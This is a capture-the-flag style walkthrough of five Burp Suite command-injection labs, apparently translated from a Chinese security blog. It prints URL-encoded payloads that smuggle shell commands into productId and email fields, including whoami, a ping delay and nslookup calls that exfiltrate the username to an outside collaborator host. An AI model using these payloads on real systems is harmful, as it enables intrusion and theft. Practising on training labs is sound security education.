Burp Suite Official Target Field Command Injection

0 20
1. Simple Command Injection1.1 Achieve the ObjectiveSuccessfully executed 'whoam...

1. Simple Command Injection

1.1 Achieve the Objective

Successfully executed 'whoami' to view the current user's name.

1.2 Attack Steps

Observing the page of this target field, it is found that this is a page displaying its product information, and clicking 'view details' can display the details of each product.

Burp Suite Official Target Field Command Injection

1692869192_64e72248120be99c1bf35.png!small?1692869193265

Go to a product detail page and find that the framed part is a function to check the product inventory.

1692869203_64e722535f30270e97dfe.png!small?1692869204451

Capture the packet and find that the productId and storeId parameters were passed.

1692869225_64e7226933c0e5b219bd9.png!small?1692869225959

Insert the payload into the productId

# payload

%26whoami%26

%26 is the URL encoding of & because in HTTP packets, the & symbol is used to separate different parameters. If & is used directly, it will be treated as a separator by the HTTP packet, so URL encoding is required. After the data is transmitted, it is decoded to make & effective.

In system commands, the & symbol is used to concatenate commands, so that the concatenated commands run separately.

1692869243_64e7227b4a550dd3f5a50.png!small?1692869243988

1692869253_64e72285f136d88151c16.png!small?1692869254443

2. Utilize time-delayed command blind injection

2.1 Achieve the Objective

Cause a 10-second delay using command blind injection.

2.2 Attack Steps

Go to the Submit feedback page, which is a page for submitting feedback to the website. Since user feedback needs to be submitted to the administrator, it is likely that the sendmail command is used. Use this command to send the user's name, email, and feedback information to the administrator's email. Because it is sending an email to the administrator, the website itself may not have an echo.

1692869375_64e722ffd6a06ef3f5f70.png!small?1692869377095

Capture the packet submitted for feedback and insert the payload into the email

# payload

%26ping -c10127.0.0.1%26

1692869389_64e7230dcbe2b546313ab.png!small?1692869390501

1692869399_64e72317ac9bbf0362dcd.png!small?1692869400274

3. Utilize command blind injection with output redirection

3.1 Achieve the Objective

The target field has a writable folder: /var/www/images

Execute the whoami command, redirect its output to the folder below, and then search its content

3.2 Attack Steps

It's still the page for submitting feedback.

1692869416_64e72328690b9398b04d0.png!small?1692869417240

Capture the packet when submitting feedback and then input the payload in the email.

1692869431_64e723378373c8d876f64.png!small?1692869432402

Observe the data packets on the main interface of the target field and find a path to load the image, which passes the filename parameter.

1692869450_64e7234a52264b37a374e.png!small?1692869451129

1692869459_64e72353f2c3980036b9d.png!small?1692869460465


1692869467_64e7235b92d0e1a39ca78.png!small?1692869468239

4. Utilize out-of-band channel technology for command blind injection

4.1 Achieve the Objective

Initiate a DNS query against burpsuite's collaborator using command blind injection.

4.2 Attack Steps

It's still the same page, let's get started.

1692869484_64e7236c6c3ed8b0cd038.png!small?1692869485238


Submit any test data on this page and then click Submit feedback to capture the packet.

1692869499_64e7237b3ff65db4e3213.png!small?1692869499983

Go to the collaborator in burpsuite and activate this feature.

This feature serves as a DNS query server, which can reveal vulnerabilities that cannot be directly detected through their response data in penetration testing. By using out-of-band technology, specifically by utilizing the collaborator feature integrated into the burpsutie software, vulnerabilities that are not visible through the response can be made apparent in this way. This feature is similar to dnslog.

1692869524_64e72394da478400cafeb.png!small?1692869525484

Same as before, focus on the email parameter and insert the payload into this parameter.

1692869541_64e723a562cb0a679ddd1.png!small?1692869541938

# payload

%26nslookup%200no5vo9uebzjpzworih5vhzzyq4hs7gw.oastify.com%26

1692869555_64e723b383f4627963b4c.png!small?169286956309

1692869563_64e723bbacb094c6f6703.png!small?1692869564297

1692869573_64e723c52e520e6b83383.png!small?1692869573923


1692869580_64e723cc4c7612b160f4c.png!small?1692869580777

5. Obtain the system username using out-of-band channel technology

5.1 Achieve the Objective

Obtain the system username using out-of-band channel technology.

5.2 Attack Steps

Yes, that's right, it's still the same page.

1692869629_64e723fd575109f2f1f3d.png!small?1692869630235

Submit some test data arbitrarily, and then submit the feedback for packet capture.

1692869642_64e7240a65cfa01c1be03.png!small?1692869642947

Same as before, focus on the email parameter and insert the Payload.

# payload

%26nslookup%20`whoami`.wrr1zkdqi73ftv0kvel1zd3v2m8dw4kt.oastify.com%26

In this payload, the backtick symbol (``) located at the upper left corner of the keyboard (backquote), this symbol is applied in the system's shell, so the characters inside the symbol will be executed as commands.

1692869657_64e7241955635dc1ba1a3.png!small?1692869658297

1692869665_64e7242103a97a4eae1db.png!small?1692869665613

Now, submit the username we have obtained in the button shown in the following figure.

1692869683_64e724334b6d349681abf.png!small?1692869684318

1692869691_64e7243bebb3fd8558a1c.png!small?1692869692922

你可能想看:
最后修改时间:
admin
上一篇 2025年03月27日 17:35
下一篇 2025年03月27日 17:57

评论已关闭